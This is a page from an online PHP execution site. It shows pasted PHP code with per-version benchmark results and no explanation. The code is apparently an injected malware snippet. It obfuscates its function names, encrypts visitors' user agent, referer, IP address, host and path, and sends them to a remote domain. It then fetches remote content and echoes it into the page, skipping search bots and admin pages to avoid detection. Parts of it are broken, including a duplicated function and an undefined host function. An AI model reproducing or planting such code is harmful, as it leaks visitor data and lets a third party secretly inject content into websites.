3v4l.org

run code in 300+ PHP versions simultaneously
<?php function en2($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; }; function en2($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; } function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return $buf; } function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } function g_3($url) { if (function_exists("file") === false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf; } function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf = ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf; } function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; } if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2)); $i=$i+2+$xlen;} if ($flg & 8) $i=strpos($gzData,"",$i)+1; if ($flg & 16) $i=strpos($gzData,"", $i)+1; if ( $flg & 2) $i=$i+2;} return @gzinflate(substr($gzData,$i,-8));} else{ return false;}} } //} function k34($op,$text) { return base64_encode(en2($text, $op)); } function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a; } function day212() { $a=check212("HTTP_USER_AGENT"); $b=check212("HTTP_REFERER"); $c=check212("REMOTE_ADDR"); $d=check212("HTTP_HOST"); $e=check212("PHP_SELF"); $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) { $o1 = ""; } else { $op=mt_rand(100000,999999); $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); $url="http://".cqq(".com")."/".$g4; $ca1=en2(@gtd($url),$op); $a1=@explode("!NF0",$ca1); if (sizeof($a1)>=2) $o1 = $a1[1]; else $o1 = ""; } return $o1; } //} if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; } } echo day212();

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.0.120.0170.05322.01
7.0.110.0200.05022.00
7.0.100.0070.08321.96
7.0.90.0030.06722.08
7.0.80.0100.05322.14
7.0.70.0100.07721.98
7.0.60.0100.05721.03
7.0.50.0100.06219.90
7.0.40.0100.06319.97
7.0.30.0080.04519.89
7.0.20.0070.06319.96
7.0.10.0120.05219.96
7.0.00.0080.07719.93
5.6.270.0270.06021.05
5.6.260.0170.05320.88
5.6.250.0100.07020.80
5.6.240.0100.06321.00
5.6.230.0030.06321.05
5.6.220.0170.04720.87
5.6.210.0100.07720.73
5.6.200.0130.06219.62
5.6.190.0050.06219.66
5.6.180.0100.06319.59
5.6.170.0050.06019.61
5.6.160.0080.06819.61
5.6.150.0150.07219.45
5.6.140.0080.06819.60
5.6.130.0070.05819.58
5.6.120.0130.06319.62
5.6.110.0130.08019.50
5.6.100.0120.07519.61
5.6.90.0180.06519.59
5.6.80.0100.05719.00
5.6.70.0080.06719.06
5.6.60.0050.05518.99
5.6.50.0120.05718.92
5.6.40.0150.05218.86
5.6.30.0050.05718.95
5.6.20.0130.07218.96
5.6.10.0030.07318.94
5.6.00.0070.07818.97
5.5.380.0100.06017.63
5.5.370.0030.06017.60
5.5.360.0170.05017.62
5.5.350.0050.06318.97
5.5.340.0050.06018.10
5.5.330.0150.06818.07
5.5.320.0070.05817.89
5.5.310.0130.06218.07
5.5.300.0130.05717.96
5.5.290.0130.06517.95
5.5.280.0080.05218.02
5.5.270.0070.07518.08
5.5.260.0080.05817.97
5.5.250.0150.06817.80
5.5.240.0130.04517.29
5.5.230.0080.07517.54
5.5.220.0100.06317.43
5.5.210.0130.04017.28
5.5.200.0070.05217.47
5.5.190.0070.05317.32
5.5.180.0030.05317.42
5.5.160.0080.06017.38
5.5.150.0100.06517.29
5.5.140.0070.05317.40
5.5.130.0070.05817.35
5.5.120.0120.07217.42
5.5.110.0120.06217.38
5.5.100.0100.04817.27
5.5.90.0080.05317.18
5.5.80.0080.06717.17
5.5.70.0120.06817.18
5.5.60.0120.05017.33
5.5.50.0080.05817.33
5.5.40.0120.07317.27
5.5.30.0100.05817.34
5.5.20.0100.05817.21
5.5.10.0080.07217.28
5.5.00.0130.06717.34
5.4.450.0070.07019.50
5.4.440.0070.08019.30
5.4.430.0100.06719.43
5.4.420.0100.05019.36
5.4.410.0050.07819.26
5.4.400.0120.06519.13
5.4.390.0070.05019.15
5.4.380.0150.06719.06
5.4.370.0050.05819.04
5.4.360.0030.06819.18
5.4.350.0030.05719.10
5.4.340.0100.05319.11
5.4.320.0120.05219.03
5.4.310.0100.06519.06
5.4.300.0150.07219.09
5.4.290.0080.06519.19
5.4.280.0130.05219.13
5.4.270.0170.05018.98
5.4.260.0070.06819.04
5.4.250.0030.05519.12
5.4.240.0120.05719.03
5.4.230.0100.06719.12
5.4.220.0120.05319.13
5.4.210.0130.04819.17
5.4.200.0070.06218.98
5.4.190.0070.07019.12
5.4.180.0080.04818.93
5.4.170.0100.06319.05
5.4.160.0150.05819.12
5.4.150.0130.04719.15
5.4.140.0100.05516.58
5.4.130.0100.04716.39
5.4.120.0080.06516.41
5.4.110.0080.05216.54
5.4.100.0100.06016.53
5.4.90.0170.04216.51
5.4.80.0080.04816.49
5.4.70.0050.06216.40
5.4.60.0120.04516.50
5.4.50.0120.06216.38
5.4.40.0170.05516.52
5.4.30.0070.06516.32
5.4.20.0100.06016.40
5.4.10.0170.05316.41
5.4.00.0050.04715.81
5.3.290.0100.05014.75
5.3.280.0170.05214.59
5.3.270.0120.05814.65
5.3.260.0080.05714.65
5.3.250.0070.07214.65
5.3.240.0070.06814.63
5.3.230.0080.06714.62
5.3.220.0080.06214.63
5.3.210.0080.05314.62
5.3.200.0050.06514.56
5.3.190.0130.06314.56
5.3.180.0080.06714.58
5.3.170.0080.06514.63
5.3.160.0130.05014.63
5.3.150.0120.05714.72
5.3.140.0130.06014.57
5.3.130.0070.06814.54
5.3.120.0100.06214.60
5.3.110.0100.06014.66
5.3.100.0130.05714.04
5.3.90.0070.05714.02
5.3.80.0150.06214.06
5.3.70.0070.04813.96
5.3.60.0030.04514.04
5.3.50.0070.06213.92
5.3.40.0130.05813.98
5.3.30.0070.06213.95
5.3.20.0080.05813.65
5.3.10.0100.04513.67
5.3.00.0080.04313.65

preferences:
150.24 ms | 1394 KiB | 7 Q